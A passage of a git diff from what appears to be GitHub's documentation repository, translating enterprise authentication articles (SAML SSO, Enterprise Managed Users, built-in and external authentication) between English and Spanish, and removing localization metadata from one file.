la autenticación para tu empresa {% ifversion ghec %} -Enterprise owners on {% data variables.product.product_name %} can control the requirements for authentication and access to the enterprise's resources. +Los propietarios de la empresa en {% data variables.product.product_name %} pueden controlar los requisitos de autenticación y acceso a los recursos de la empresa. -You can choose to allow members to create and manage user accounts, or your enterprise can create and manage accounts for members with {% data variables.product.prodname_emus %}. If you allow members to manage their own accounts, you can also configure SAML authentication to both increase security and centralize identity and access for the web applications that your team uses. +Puedes optar por permitir que los miembros creen y administren cuentas de usuario, o bien la empresa puede crear y administrar cuentas para los miembros con {% data variables.product.prodname_emus %}. Si permites a los miembros administrar sus propias cuentas, también puedes configurar la autenticación SAML para aumentar la seguridad y centralizar la identidad y el acceso a las aplicaciones web que usa el equipo. -After learning more about these options, to determine which method is best for your enterprise, see "[Identifying the best authentication method for your enterprise](#identifying-the-best-authentication-method-for-your-enterprise)." +Después de obtener más información sobre estas opciones, para determinar qué método es mejor para tu empresa, consulta "[Identificación del mejor método de autenticación para la empresa](#identifying-the-best-authentication-method-for-your-enterprise)". -## Authentication methods for {% data variables.product.product_name %} +## Métodos de autenticación para {% data variables.product.product_name %} -The following options are available for account management and authentication on {% data variables.product.product_name %}. +Las siguientes opciones están disponibles para la administración de cuentas y la autenticación en {% data variables.product.product_name %}. -- [Authentication through {% data variables.location.product_location %}](#authentication-through-githubcom) -- [Authentication through {% data variables.location.product_location %} with additional SAML access restriction](#authentication-through-githubcom-with-additional-saml-access-restriction) -- [Authentication with {% data variables.product.prodname_emus %} and federation](#authentication-with-enterprise-managed-users-and-federation) +- [Autenticación a través de {% data variables.location.product_location %}](#authentication-through-githubcom) +- [Autenticación a través de {% data variables.location.product_location %} con restricción de acceso SAML adicional](#authentication-through-githubcom-with-additional-saml-access-restriction) +- [Autenticación con {% data variables.product.prodname_emus %} y federación](#authentication-with-enterprise-managed-users-and-federation) -### Authentication through {% data variables.location.product_location %} +### Autenticación a través de {% data variables.location.product_location %} -By default, each member must create a personal account on {% data variables.location.product_location %}. You grant access to your enterprise, and the member can access your enterprise's resources after signing into the account on {% data variables.location.product_location %}. The member manages the account, and can contribute to other enterprises, organizations, and repositories on {% data variables.location.product_location %}. +De forma predeterminada, cada miembro debe crear una cuenta personal en {% data variables.location.product_location %}. Concedes acceso a tu empresa y el miembro puede acceder a los recursos de esta después de iniciar sesión en la cuenta en {% data variables.location.product_location %}. El miembro administra la cuenta y puede contribuir a otras empresas, organizaciones y repositorios en {% data variables.location.product_location %}. -### Authentication through {% data variables.location.product_location %} with additional SAML access restriction +### Autenticación a través de {% data variables.location.product_location %} con restricción de acceso SAML adicional -If you configure additional SAML access restriction, each member must create and manage a personal account on {% data variables.location.product_location %}. You grant access to your enterprise, and the member can access your enterprise's resources after both signing into the account on {% data variables.location.product_location %} and successfully authenticating with your SAML identity provider (IdP). The member can contribute to other enterprises, organizations, and repositories on {% data variables.location.product_location %} using their personal account. For more information about requiring SAML authentication for all access your enterprise's resources, see "[About SAML for enterprise IAM](/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam)." +Si configuras una restricción de acceso SAML adicional, cada miembro debe crear y administrar una cuenta personal en {% data variables.location.product_location %}. Concedes acceso a la empresa y el miembro puede acceder a los recursos de esta después de iniciar sesión en la cuenta en {% data variables.location.product_location %} y autenticarse correctamente con el proveedor de identidades (IdP) de SAML. El miembro puede contribuir en otras empresas, organizaciones y repositorios en {% data variables.location.product_location %} mediante su cuenta personal. Para obtener más información sobre cómo requerir autenticación SAML para todos los recursos de la empresa, consulta "[Acerca de SAML para IAM empresarial](/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam)". -If you use a standalone organization with {% data variables.product.product_name %}, or if you don't want to use SAML authentication for every organization in your enterprise, you can configure SAML for an individual organization. For more information, see "[About identity and access management with SAML single sign-on](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)." +Si usas una organización independiente con {% data variables.product.product_name %}, o si no deseas usar la autenticación SAML para cada organización de la empresa, puedes configurar SAML para una organización individual. Para más información, vea "[Acerca de la administración de identidades y acceso con el inicio de sesión único de SAML](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)". -### Authentication with {% data variables.product.prodname_emus %} and federation +### Autenticación con {% data variables.product.prodname_emus %} y federación -If you need more control of the accounts for your enterprise members on {% data variables.location.product_location %}, you can use {% data variables.product.prodname_emus %}. With {% data variables.product.prodname_emus %}, you provision and manage accounts for your enterprise members on {% data variables.location.product_location %} using your IdP. Each member signs into an account that you create, and your enterprise manages the account. Contributions to the rest of {% data variables.product.prodname_dotcom_the_website %} are restricted. For more information, see "[About {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users)." +Si necesitas más control de las cuentas de los miembros de la empresa en {% data variables.location.product_location %}, puedes usar {% data variables.product.prodname_emus %}. Con {% data variables.product.prodname_emus %}, aprovisionas y administras cuentas para los miembros de la empresa en {% data variables.location.product_location %} mediante el IdP. Cada miembro inicia sesión en una cuenta que creas y la empresa la administra. Las contribuciones al resto de {% data variables.product.prodname_dotcom_the_website %} están restringidas. Para más información, vea "[Acerca de {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users)". -## Identifying the best authentication method for your enterprise +## Identificación del mejor método de autenticación para la empresa -Both SAML SSO and {% data variables.product.prodname_emus %} increase security for your enterprise's resources. {% data variables.product.prodname_emus %} additionally allows you to control the user accounts for your enterprise members and restricts what the accounts are able to do. However, those restrictions may be unacceptable for your enterprise if they obstruct your developers' workflows. +Tanto el inicio de sesión único de SAML como {% data variables.product.prodname_emus %} aumentan la seguridad de los recursos de la empresa. Además, {% data variables.product.prodname_emus %} permite controlar las cuentas de usuario de los miembros de la empresa y restringe lo que pueden hacer las cuentas. Pero estas restricciones pueden ser inaceptables para tu empresa si obstruyen los flujos de trabajo de los desarrolladores. -To determine whether your enterprise would benefit more from SAML SSO or {% data variables.product.prodname_emus %}, ask yourself these questions. +Para determinar si tu empresa se beneficiaría más del inicio de sesión único de SAML o de {% data variables.product.prodname_emus %}, hazte estas preguntas. -- [Do you want to control the user accounts for your users?](#do-you-want-to-control-the-user-accounts-for-your-users) -- [Which identity provider does your enterprise use?](#which-identity-provider-does-your-enterprise-use) -- [Do your developers work in public repositories, gists, or {% data variables.product.prodname_pages %} sites?](#do-your-developers-work-in-public-repositories-gists-or-github-pages-sites) -- [Do your developers rely on collaboration outside of your enterprise?](#do-your-developers-rely-on-collaboration-outside-of-your-enterprise) -- [Does your enterprise rely on outside collaborators?](#does-your-enterprise-rely-on-outside-collaborators) -- [Can your enterprise tolerate migration costs?](#can-your-enterprise-tolerate-migration-costs) +- [¿Quieres controlar las cuentas de los usuarios?](#do-you-want-to-control-the-user-accounts-for-your-users) +- [¿Qué proveedor de identidades usa tu empresa?](#which-identity-provider-does-your-enterprise-use) +- [¿Los desarrolladores trabajan en repositorios públicos, gists o sitios de {% data variables.product.prodname_pages %}?](#do-your-developers-work-in-public-repositories-gists-or-github-pages-sites) +- [¿Los desarrolladores se basan en colaboraciones fuera de la empresa?](#do-your-developers-rely-on-collaboration-outside-of-your-enterprise) +- [¿La empresa depende de colaboradores externos?](#does-your-enterprise-rely-on-outside-collaborators) +- [¿Puede la empresa tolerar costes de migración?](#can-your-enterprise-tolerate-migration-costs) -### Do you want to control the user accounts for your users? +### ¿Quieres controlar las cuentas de los usuarios? -{% data variables.product.prodname_emus %} may be right for your enterprise if you don't want enterprise members to use their own personal accounts on {% data variables.product.prodname_dotcom_the_website %} to access your enterprise's resources. +{% data variables.product.prodname_emus %} puede ser adecuado para tu empresa si no quieres que los miembros de la empresa usen sus cuentas personales en {% data variables.product.prodname_dotcom_the_website %} para acceder a los recursos de la empresa. -With SAML SSO, developers create and manage their own personal accounts, and each account is linked to a SAML identity in your IdP. {% data variables.product.prodname_emus %} functions more like other familiar SSO solutions, as you will provision the accounts for your users. You can also ensure user accounts conform with your company identity, by controlling usernames and the email addresses associated with the accounts. +Con el inicio de sesión único de SAML, los desarrolladores crean y administran sus cuentas personales y cada cuenta está vinculada a una identidad de SAML en el IdP. {% data variables.product.prodname_emus %} funciona más bien como otras soluciones de inicio de sesión único conocidas, ya que serás tú quien aprovisione las cuentas de los usuarios. También puedes asegurarte de que las cuentas de usuario se adapten a la identidad de la empresa si controlas los nombres de usuario y las direcciones de correo electrónico asociadas a las cuentas. -If you currently require your users to create a new account on {% data variables.product.prodname_dotcom_the_website %} to use with your enterprise only, {% data variables.product.prodname_emus %} might be right for you. However, SAML SSO may be a better option if using your IdP as the source of truth for your user and access management would add too much complexity. For example, perhaps your enterprise does not have an established process for onboarding new users in your IdP. +Si actualmente obligas a los usuarios a crear una cuenta en {% data variables.product.prodname_dotcom_the_website %} para usarla solo con tu empresa, probablemente {% data variables.product.prodname_emus %} sea una solución adecuada para ti. En cambio, el inicio de sesión único de SAML puede ser una opción mejor si usas el IdP como origen de confianza para el usuario y si la administración de acceso agrega demasiada complejidad. Por ejemplo, quizás tu empresa no tenga un proceso establecido para incorporar nuevos usuarios en el IdP. -### Which identity provider does your enterprise use? +### ¿Qué proveedor de identidades usa tu empresa? -{% data variables.product.prodname_emus %} is supported for a limited number of IdPs, while SAML SSO offers full support for a larger number of IdPs, plus limited support for all IdPs that implement the SAML 2.0 standard. For the list of supported IdPs for each option, see "[About {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users#identity-provider-support)" and "[About SAML for enterprise IAM](/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam#supported-idps)." +{% data variables.product.prodname_emus %} se admite para un número limitado de IdP, mientras que el inicio de sesión único de SAML ofrece compatibilidad completa con un mayor número de IdP, así como compatibilidad limitada con todos los IdP que implementan el estándar SAML 2.0. Para ver la lista de IdP admitidos para cada opción, consulta "[Acerca de {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users#identity-provider-support)" y "[Acerca de SAML para IAM empresarial](/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam#supported-idps)". -You can use {% data variables.product.prodname_emus %} with an unsupported IdP only if you federate the unsupported IdP to a supported IdP to use as an integration point. If you wish to avoid this extra complexity, SAML SSO may be a better solution for you. +Puedes usar {% data variables.product.prodname_emus %} con un IdP no admitido solo si federas el IdP no admitido en un IdP compatible para usarlo como punto de integración. Si quieres evitar esta complejidad adicional, el inicio de sesión único de SAML puede ser una mejor solución para ti. -### Do your developers work in public repositories, gists, or {% data variables.product.prodname_pages %} sites? +### ¿Los desarrolladores trabajan en repositorios públicos, gists o sitios de {% data variables.product.prodname_pages %}? -To prevent enterprise members from accidentally leaking corporate-owned content to the public on {% data variables.product.prodname_dotcom_the_website %}, {% data variables.product.prodname_emus %} imposes strong restrictions on what users can do. For example, {% data variables.enterprise.prodname_managed_users %} cannot create public repositories, gists of any visibility, or {% data variables.product.prodname_pages %} sites that are visible outside the enterprise. For a full list of restrictions, see "[Abilities and restrictions of {% data variables.enterprise.prodname_managed_users %}](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users#abilities-and-restrictions-of-managed-users)." +Para impedir que los miembros de la empresa filtren accidentalmente al público contenido corporativo en {% data variables.product.prodname_dotcom_the_website %}, {% data variables.product.prodname_emus %} impone restricciones rigurosas a lo que pueden hacer los usuarios. Por ejemplo, las {% data variables.enterprise.prodname_managed_users %} no pueden crear repositorios públicos, gists con ningún tipo de visibilidad o sitios de {% data variables.product.prodname_pages %} que sean visibles fuera de la empresa. Para ver una lista completa de restricciones, consulta "[Capacidades y restricciones de las {% data variables.enterprise.prodname_managed_users %}](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users#abilities-and-restrictions-of-managed-users)". -These restrictions are unacceptable for some enterprises. To determine whether {% data variables.product.prodname_emus %} will work for you, review the restrictions with your developers, and confirm whether any of the restrictions will hinder your existing workflows. If so, SAML SSO may be a better choice for your enterprise. +Estas restricciones son inaceptables para algunas empresas. Para determinar si {% data variables.product.prodname_emus %} es una opción adecuada para ti, revisa las restricciones con los desarrolladores y confirma si alguna de ellas dificultará los flujos de trabajo existentes. Si es así, el inicio de sesión único de SAML puede ser una mejor opción para tu empresa. -### Do your developers rely on collaboration outside of your enterprise? +### ¿Los desarrolladores se basan en colaboraciones fuera de la empresa? -{% data variables.enterprise.prodname_managed_users_caps %} can only contribute to repositories within your enterprise. If your developers must contribute to both repositories within and outside of your enterprise, including private repositories, {% data variables.product.prodname_emus %} may not be right for your enterprise. SAML SSO may be a better solution. +Las {% data variables.enterprise.prodname_managed_users_caps %} solo puede contribuir en repositorios de dentro de la empresa. Si los desarrolladores deben contribuir a repositorios dentro y fuera de la empresa, incluidos los repositorios privados, es posible que {% data variables.product.prodname_emus %} no sea adecuado para la empresa. El inicio de sesión único de SAML puede ser una mejor solución. -Some companies maintain repositories within an existing enterprise using SAML SSO on {% data variables.location.product_location %}, and also create an {% data variables.enterprise.prodname_emu_enterprise %}. Developers who contribute to repositories owned by both enterprises from a single workstation must switch between the accounts on {% data variables.location.product_location %} within a single browser, or use a different browser for each account. The developer may also need to customize the workstation's Git configuration to accommodate the two accounts. The complexity of this workflow can increase the risk of mistakenly leaking internal code to the public. +Algunas compañías mantienen repositorios en una empresa existente mediante el inicio de sesión único de SAML en {% data variables.location.product_location %}, y también crean una {% data variables.enterprise.prodname_emu_enterprise %}. Los desarrolladores que contribuyen a los repositorios que pertenecen a ambas empresas desde una única estación de trabajo deben cambiar entre las cuentas de {% data variables.location.product_location %} en un solo explorador, o bien usar un explorador diferente con cada cuenta. Es posible que el desarrollador también tenga que personalizar la configuración de Git de la estación de trabajo para dar cabida a las dos cuentas. La complejidad de este flujo de trabajo puede aumentar el riesgo de filtrar código interno al público de forma accidental. -If you decide to create an {% data variables.enterprise.prodname_emu_enterprise %} but require that developers contribute to resources outside of the enterprise from a single workstation, you can provide support for switching between the accounts in a developer's local Git configuration. For more information, see "[About {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users#supporting-developers-with-multiple-user-accounts-on-githubcom)." +Si decides crear una {% data variables.enterprise.prodname_emu_enterprise %}, pero requieres que los desarrolladores contribuyan en los recursos fuera de la empresa desde una única estación de trabajo, puedes proporcionar compatibilidad para cambiar entre las cuentas en la configuración de Git local de un desarrollador. Para más información, vea "[Acerca de {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users#supporting-developers-with-multiple-user-accounts-on-githubcom)". -### Does your enterprise rely on outside collaborators? +### ¿La empresa depende de colaboradores externos? -With SAML SSO, you can give access to specific repositories to people who are not members of your IdP's directory, by using the outside collaborator role. This can be especially useful for collaborators that are external to your business, such as contractors. For more information, see "[Adding outside collaborators to repositories in your organization](/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization)." +Con el inicio de sesión único de SAML, puedes conceder acceso a repositorios específicos a personas que no son miembros del directorio del IdP mediante el rol de colaborador externo. Esto puede ser especialmente útil para colaboradores externos del negocio, como contratistas. Para obtener más información, consulta "[Incorporación de colaboradores externos a repositorios de la organización](/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization)". -With {% data variables.product.prodname_emus %}, the outside collaborator role does not exist. Your enterprise's resources can only be accessed by {% data variables.enterprise.prodname_managed_users %}, which are always provisioned by your IdP. To give external collaborators access to your enterprise, you would have to use guest accounts in your IdP. If you're interested in {% data variables.product.prodname_emus %}, confirm with your developers whether this will hinder any of their existing workflows. If so, SAML SSO may be a better solution. +Con {% data variables.product.prodname_emus %}, el rol de colaborador externo no existe. Solo se puede acceder a los recursos de la empresa mediante {% data variables.enterprise.prodname_managed_users %}, que siempre aprovisiona el IdP. Para conceder a los colaboradores externos acceso a tu empresa, tendrías que usar cuentas de invitado en el IdP. Si la opción de {% data variables.product.prodname_emus %} te interesa, consulta a los desarrolladores si será un obstáculo para alguno de sus flujos de trabajo existentes. Si es así, el inicio de sesión único de SAML puede ser una mejor solución. -### Can your enterprise tolerate migration costs? +### ¿Puede la empresa tolerar costes de migración? -If your enterprise is new to {% data variables.product.prodname_dotcom_the_website %}, SAML SSO and {% data variables.product.prodname_emus %} are equally easy to adopt. +Si la empresa no está familiarizada con {% data variables.product.prodname_dotcom_the_website %}, el inicio de sesión único de SAML y {% data variables.product.prodname_emus %} son igual de fáciles de adoptar. -If you're already using {% data variables.product.prodname_dotcom_the_website %} with developers managing their own user accounts, adopting {% data variables.product.prodname_emus %} requires migrating to a new enterprise account. For more information, see "[About enterprises with {% data variables.enterprise.prodname_managed_users %}](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users#about-enterprises-with-managed-users)." +Si ya usas {% data variables.product.prodname_dotcom_the_website %} y los desarrolladores administran sus cuentas de usuario, la adopción de {% data variables.product.prodname_emus %} requiere la migración a una nueva cuenta empresarial. Para obtener más información, consulta "[Acerca de las empresas con {% data variables.enterprise.prodname_managed_users %}](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users#about-enterprises-with-managed-users)". -Although {% data variables.product.prodname_emus %} is free, the migration process may require time or cost from your team. Confirm that this migration process is acceptable to your business and your developers. If not, SAML SSO may be the better choice for you. +Aunque el uso de {% data variables.product.prodname_emus %} es gratuito, el proceso de migración puede requerir tiempo o imponer costes al equipo. Confirma que este proceso de migración es aceptable para la empresa y los desarrolladores. Si no es así, el inicio de sesión único de SAML puede ser la mejor opción. {% elsif ghes %} -Site administrators can decide how people authenticate to access a {% data variables.product.product_name %} instance. You can use {% data variables.product.product_name %}'s built-in authentication, or, if you want to centralize identity and access management for the web applications that your team uses, you can configure an external authentication method. +Los administradores del sitio pueden decidir cómo se autentican los usuarios para acceder a una instancia de {% data variables.product.product_name %}. Puedes usar la autenticación integrada de {% data variables.product.product_name %}, o bien, si quieres centralizar la administración de identidades y acceso para las aplicaciones web que usa el equipo, puedes configurar un método de autenticación externo. -## Authentication methods for {% data variables.product.product_name %} +## Métodos de autenticación para {% data variables.product.product_name %} -The following authentication methods are available for {% data variables.product.product_name %}. +Los siguientes métodos de autenticación están disponibles para {% data variables.product.product_name %}. -- [Built-in authentication](#built-in-authentication) -- [External authentication](#external-authentication) +- [Autenticación integrada](#built-in-authentication) +- [Autenticación externa](#external-authentication) -### Built-in authentication +### Autenticación integrada -{% data reusables.enterprise_user_management.built-in-authentication-new-accounts %} To access your instance, people authenticate with the credentials for the account. For more information, see "[Configuring built-in authentication](/admin/identity-and-access-management/using-built-in-authentication/configuring-built-in-authentication)." +{% data reusables.enterprise_user_management.built-in-authentication-new-accounts %} Para acceder a la instancia, los usuarios se autentican con las credenciales de la cuenta. Para obtener más información, consulta "[Configuración de la autenticación integrada](/admin/identity-and-access-management/using-built-in-authentication/configuring-built-in-authentication)". -### External authentication +### Autenticación externa -If you use an external directory or identity provider (IdP) to centralize access to multiple web applications, you may be able to configure external authentication for {% data variables.location.product_location %}. For more information, see the following articles. +Si usas un directorio externo o un proveedor de identidades (IdP) para centralizar el acceso a varias aplicaciones web, es posible que puedas configurar la autenticación externa para {% data variables.location.product_location %}. Para obtener más información, consulte los siguientes artículos. -- "[Using CAS for enterprise IAM](/admin/identity-and-access-management/using-cas-for-enterprise-iam)" -- "[Using LDAP for enterprise IAM](/admin/identity-and-access-management/using-ldap-for-enterprise-iam)" -- "[Using SAML for enterprise IAM](/admin/identity-and-access-management/using-saml-for-enterprise-iam)" +- "[Uso de CAS para IAM empresarial](/admin/identity-and-access-management/using-cas-for-enterprise-iam)" +- "[Uso de LDAP para IAM empresarial](/admin/identity-and-access-management/using-ldap-for-enterprise-iam)" +- "[Uso de SAML para IAM empresarial](/admin/identity-and-access-management/using-saml-for-enterprise-iam)" -If you choose to use external authentication, you can also configure fallback authentication for people who don't have an account on your external authentication provider. For example, you may want to grant access to a contractor or machine user. For more information, see "[Allowing built-in authentication for users outside your provider](/admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider)." +Si decides usar la autenticación externa, también puedes configurar la autenticación de reserva para los usuarios que no tienen una cuenta en el proveedor de autenticación externo. Por ejemplo, puede que desees conceder acceso a un contratista o usuario de máquina. Para obtener más información, consulta "[Permiso para la autenticación integrada para usuarios fuera del proveedor](/admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider)". {% ifversion scim-for-ghes %} -If you use SAML SSO for authentication, you can also provision users and map IdP groups to teams using SCIM. For more information, see "[Configuring user provisioning with SCIM for your enterprise](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-with-scim-for-your-enterprise)." +Si usas el inicio de sesión único de SAML para la autenticación, también puedes aprovisionar usuarios y asignar grupos de IdP a equipos mediante SCIM. Para obtener más información, consulta "[Configuración del aprovisionamiento de usuarios con SCIM para la empresa](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-with-scim-for-your-enterprise)". {% endif %} {% elsif ghae %} -{% data variables.product.product_name %} uses SAML SSO for authentication. Enterprise owners must configure SAML SSO with a SAML identity provider (IdP) during initialization. For more information, see "[About SAML for enterprise IAM](/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam)." +{% data variables.product.product_name %} utiliza el SSO de SAML para la autenticación. Los propietarios de empresas deben configurar el SSO de SAML con un proveedor de identidades (IdP) de SAML durante la inicialización. Para obtener más información, consulta "[Acerca de SAML para IAM empresarial](/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam)". {% endif %} -## Further reading +## Información adicional -- "[Types of {% data variables.product.company_short %} accounts](/get-started/learning-about-github/types-of-github-accounts)" -- "[About enterprise accounts](/admin/overview/about-enterprise-accounts)" -{%- ifversion ghec %} -- "[Can I create accounts for people in my organization?](/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization)" +- "[Tipos de cuentas {% data variables.product.company_short %}](/get-started/learning-about-github/types-of-github-accounts)" +- "[Acerca de las cuentas de empresa](/admin/overview/about-enterprise-accounts)" {%- ifversion ghec %} +- "[¿Puedo crear cuentas para personas en mi organización?](/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization)" {% endif %} diff --git a/translations/es-ES/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users.md b/translations/es-ES/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users.md index e7458a8279..28132548ca 100644 --- a/translations/es-ES/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users.md +++ b/translations/es-ES/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users.md @@ -1,7 +1,7 @@ --- -title: 'Acerca de {% data variables.product.prodname_emus %}' +title: About {% data variables.product.prodname_emus %} shortTitle: About managed users -intro: 'Puedes administrar centralmente la identidad y el acceso para los miembros de tu empresa en {% data variables.product.prodname_dotcom %} desde tu proveedor de identidad.' +intro: 'You can centrally manage identity and access for your enterprise members on {% data variables.product.prodname_dotcom %} from your identity provider.' redirect_from: - /early-access/github/articles/get-started-with-managed-users-for-your-enterprise - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users @@ -17,53 +17,48 @@ topics: - Enterprise - SSO allowTitleToDifferFromFilename: true -ms.openlocfilehash: 371a6998976fdb8ff87017866319912b28dc8ce6 -ms.sourcegitcommit: ec712c0fd32e7fe2f74c2b6d5da95f700dfd8111 -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 10/25/2022 -ms.locfileid: '148110373' --- -## Acerca de {% data variables.product.prodname_emus %} -Con {% data variables.product.prodname_emus %}, puedes controlar las cuentas de usuario de los miembros de tu empresa a través de tu proveedor de identidad (IdP). Los usuarios que se asignen a la aplicación de {% data variables.product.prodname_emu_idp_application %} en tu IdP se aprovisionarán como cuentas de usuario nuevas en {% data variables.product.prodname_dotcom %} y se agregarán a tu empresa. Tú controlas los nombres de usuario, los datos de perfil, la pertenencia del equipo y el acceso de las cuentas de usuario al repositorio desde tu IdP. +## About {% data variables.product.prodname_emus %} -En tu IdP, puedes dar a cada {% data variables.enterprise.prodname_managed_user %} el rol de usuario, propietario de la empresa o gerente de facturación. {% data variables.enterprise.prodname_managed_users_caps %} puede ser propietario de organizaciones dentro de tu empresa y puede agregar a otros {% data variables.enterprise.prodname_managed_users %} a las organizaciones y equipos dentro de ella. Para obtener más información, vea "[Roles en una empresa](/github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/roles-in-an-enterprise)" y "[Acerca de las organizaciones](/organizations/collaborating-with-groups-in-organizations/about-organizations)". +With {% data variables.product.prodname_emus %}, you can control the user accounts of your enterprise members through your identity provider (IdP). Users assigned to the {% data variables.product.prodname_emu_idp_application %} application in your IdP are provisioned as new user accounts on {% data variables.product.prodname_dotcom %} and added to your enterprise. You control usernames, profile data, team membership, and repository access for the user accounts from your IdP. + +In your IdP, you can give each {% data variables.enterprise.prodname_managed_user %} the role of user, enterprise owner, or billing manager. {% data variables.enterprise.prodname_managed_users_caps %} can own organizations within your enterprise and can add other {% data variables.enterprise.prodname_managed_users %} to the organizations and teams within. For more information, see "[Roles in an enterprise](/github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/roles-in-an-enterprise)" and "[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations)." {% ifversion oidc-for-emu %} -{% data reusables.enterprise-accounts.emu-cap-validates %} Para obtener más información, consulta "[Acerca de la compatibilidad con la directiva de acceso condicional del IdP](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-support-for-your-idps-conditional-access-policy)". +{% data reusables.enterprise-accounts.emu-cap-validates %} For more information, see "[About support for your IdP's Conditional Access Policy](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-support-for-your-idps-conditional-access-policy)." {% endif %} -Puedes conceder acceso a los {% data variables.enterprise.prodname_managed_users %} a repositorios de la empresa, así como la capacidad de contribuir en ellos, pero los {% data variables.enterprise.prodname_managed_users %} no pueden crear contenido público ni colaborar con otros usuarios, organizaciones y empresas del resto de {% data variables.product.prodname_dotcom %}. Para obtener más información, consulta "[Habilidades y restricciones de los {% data variables.enterprise.prodname_managed_users %}](#abilities-and-restrictions-of-enterprise-managed-users)". +You can grant {% data variables.enterprise.prodname_managed_users %} access to and the ability to contribute to repositories within your enterprise, but {% data variables.enterprise.prodname_managed_users %} cannot create public content or collaborate with other users, organizations, and enterprises on the rest of {% data variables.product.prodname_dotcom %}. For more information, see "[Abilities and restrictions of {% data variables.enterprise.prodname_managed_users %}](#abilities-and-restrictions-of-enterprise-managed-users)." -El nombre de usuario de los {% data variables.enterprise.prodname_managed_users %} de tu empresa y su información de perfil, como los nombres y direcciones de correo electrónico que se muestran, se configuran mediante tu IdP y no pueden cambiarlos los propios usuarios. Para más información, vea "[Nombres de usuario e información de perfil](#usernames-and-profile-information)". +The usernames of your enterprise's {% data variables.enterprise.prodname_managed_users %} and their profile information, such as display names and email addresses, are set by through your IdP and cannot be changed by the users themselves. For more information, see "[Usernames and profile information](#usernames-and-profile-information)." -Los propietarios de las empresas pueden auditar todas las acciones de los {% data variables.enterprise.prodname_managed_users %} en {% data variables.product.prodname_dotcom %}. Para obtener más información, consulta "[Eventos del registro de auditoría para la empresa](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#about-audit-log-events-for-your-enterprise)". +Enterprise owners can audit all of the {% data variables.enterprise.prodname_managed_users %}' actions on {% data variables.product.prodname_dotcom %}. For more information, see "[Audit log events for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#about-audit-log-events-for-your-enterprise)." -Para utilizar los {% data variables.product.prodname_emus %}, necesitas un tipo separado de cuenta empresarial con {% data variables.product.prodname_emus %} habilitados. Para obtener más información sobre cómo crear esta cuenta, consulte "[Acerca de las empresas con usuarios administrados](#about-enterprises-with-managed-users)". +To use {% data variables.product.prodname_emus %}, you need a separate type of enterprise account with {% data variables.product.prodname_emus %} enabled. For more information about creating this account, see "[About enterprises with managed users](#about-enterprises-with-managed-users)." {% note %} -**Nota**: Hay varias opciones para la administración de identidades y acceso con {% data variables.product.prodname_ghe_cloud %}, y la solución de {% data variables.product.prodname_emus %} no es la mejor para todos los clientes. Para obtener más información que te ayude a decidir si la opción de {% data variables.product.prodname_emus %} es adecuada para tu empresa, consulta "[Acerca de la autenticación de la empresa](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise#identifying-the-best-authentication-method-for-your-enterprise)". +**Note:** There are multiple options for identity and access management with {% data variables.product.prodname_ghe_cloud %}, and {% data variables.product.prodname_emus %} is not the best solution for every customer. For more information about whether {% data variables.product.prodname_emus %} is right for your enterprise, see "[About authentication for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise#identifying-the-best-authentication-method-for-your-enterprise)." {% endnote %} -## Acerca de la administración de la pertenencia a una organización +## About organization membership management -Las pertenencias a una organización se pueden administrar manualmente o bien las puedes actualizar automáticamente mediante grupos de IdP. Para administrar las pertenencias a la organización mediante el IdP, los miembros deben agregarse a un 